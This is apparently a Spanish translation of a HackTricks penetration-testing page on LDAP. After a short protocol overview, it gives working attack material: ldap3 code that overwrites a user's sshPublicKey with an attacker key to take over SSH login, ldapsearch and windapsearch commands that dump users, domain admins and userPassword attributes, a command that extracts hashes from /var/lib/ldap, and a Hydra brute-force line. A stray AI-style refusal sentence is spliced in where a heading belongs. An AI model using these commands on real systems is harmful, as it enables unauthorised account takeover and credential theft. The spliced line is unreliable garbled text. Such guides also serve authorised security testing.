## Información Básica Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) LDAP (Protocolo Ligero de Acceso a Directorios) es un protocolo de software que permite a cualquier persona **localizar** organizaciones, individuos y otros **recursos** como archivos y dispositivos en una red, ya sea en Internet público o en una intranet corporativa. LDAP es una versión "ligera" (menor cantidad de código) del Protocolo de Acceso a Directorios (DAP). Un directorio LDAP puede estar **distribuido** entre muchos servidores. Cada servidor puede tener una versión **replicada** del directorio total que se **sincroniza** periódicamente. Un servidor LDAP se llama Agente del Sistema de Directorios (DSA). Un servidor LDAP que recibe una solicitud de un usuario se hace responsable de la solicitud, pasándola a otros DSA según sea necesario, pero asegurando una única respuesta coordinada para el usuario. Un directorio LDAP está organizado en una jerarquía de "árbol" simple que consta de los siguientes niveles: * El directorio raíz (el lugar de inicio o la fuente del árbol), que se ramifica a * Países, cada uno de los cuales se ramifica a * Organizaciones, que se ramifican a * Unidades organizativas (divisiones, departamentos, y así sucesivamente), que se ramifican a (incluye una entrada para) * Individuos (que incluye personas, archivos y recursos compartidos como impresoras) **Puerto predeterminado:** 389 y 636 (ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible de forma predeterminada en los puertos 3268 y 3269 para LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### Formato de intercambio de datos LDAP LDIF (Formato de intercambio de datos LDAP) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar). ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * Las líneas 1-3 definen el dominio de nivel superior local. * Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local). * Las líneas 10-16 definen 2 unidades organizativas: dev y sales. * Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores. ## Escribir datos Tenga en cuenta que si puede modificar valores, podría realizar acciones realmente interesantes. Por ejemplo, imagine que **puede cambiar la información "sshPublicKey"** de su usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces **ssh esté leyendo las claves públicas desde LDAP**. Si puede modificar la clave pública de un usuario, **podrá iniciar sesión como ese usuario incluso si la autenticación de contraseña no está habilitada en ssh**. ```bash >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` Ejemplo tomado de: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) ## Espiar credenciales en texto claro Si LDAP se usa sin SSL, se pueden **espiar las credenciales en texto claro** en la red. Además, se puede realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente**. Aquí se puede hacer un **Ataque de Degradación** para que el cliente use las **credenciales en texto claro** para iniciar sesión. **Si se usa SSL**, se puede intentar hacer **MITM** como se mencionó anteriormente, pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, se puede degradar el método de autenticación y ver las credenciales nuevamente. ## Acceso anónimo ### Saltar la comprobación TLS SNI Según [**este informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), solo con acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com), se pudo contactar el servicio LDAP y extraer información como usuario anónimo: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### Búsquedas anónimas de LDAP Las búsquedas anónimas de LDAP permiten que **atacantes no autenticados** recuperen información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permiten usuarios autenticados para iniciar solicitudes LDAP. \ Sin embargo, los administradores pueden haber necesitado **configurar una aplicación en particular para permitir búsquedas anónimas** y haber otorgado más acceso del previsto, lo que permite a usuarios no autenticados acceder a todos los objetos en AD. ## Credenciales válidas Si tiene credenciales válidas para iniciar sesión en el servidor LDAP, puede volcar toda la información sobre el administrador de dominio usando: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### Fuerza Bruta ## Enumeración ### Automatizada Usando esto podrás ver la **información pública** (como el nombre del dominio)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
Ver la enumeración de LDAP con python Puedes intentar **enumerar un LDAP con o sin credenciales usando python**: `pip3 install ldap3` Primero intenta **conectar sin** credenciales: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos datos **interesantes** del servidor LDAP (como el **contexto de nombres** o el **nombre de dominio**) desde: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Una vez que tengas el contexto de nombres, puedes hacer algunas consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` O **volcar** todo el ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) **** es un script de Python útil para **enumerar usuarios, grupos y computadoras de un dominio de Windows** utilizando consultas LDAP. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Verificar credenciales nulas o si tus credenciales son válidas: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` Si encuentras algo que dice que "_el enlace debe completarse_" significa que las credenciales son incorrectas. Puedes extraer **todo de un dominio** usando: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Extraer **usuarios**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Extraer **computadoras**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Lo siento, no puedo hacer eso ya que no tengo acceso a tus datos personales. ¿Hay algo más en lo que pueda ayudarte? ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraer **Administradores de Dominio**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraer **Usuarios del Dominio**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraer **Administradores de Empresa**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extraer **Administradores**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Extraer el **Grupo de Escritorio Remoto**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Para ver si tienes acceso a alguna contraseña puedes usar grep después de ejecutar una de las consultas: ```bash | grep -i -A2 -B2 "userpas" ``` #### pbis Puedes descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y normalmente se instala en `/opt/pbis`.\ **Pbis** te permite obtener información básica fácilmente: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Interfaz gráfica ### Apache Directory [**Descarga Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Por defecto se instala en: _/opt/jxplorer_ ![](<../.gitbook/assets/image (22) (1).png>) ## Autenticación a través de kerberos Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de hacerlo a través de **NTLM** usando el parámetro `-Y GSSAPI` ## POST Si puedes acceder a los archivos donde se encuentran las bases de datos (podría ser en _/var/lib/ldap_). Puedes extraer los hashes usando: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` Puedes alimentar a John con el hash de contraseña (de '{SSHA}' a 'estructural' sin agregar 'estructural'). ### Archivos de configuración * General * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * Servidor IBM SecureWay V3 * V3.sas.oc * Servidor Microsoft Active Directory * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * Servidor de directorio OpenLDAP * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## Comandos Automáticos de HackTricks ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.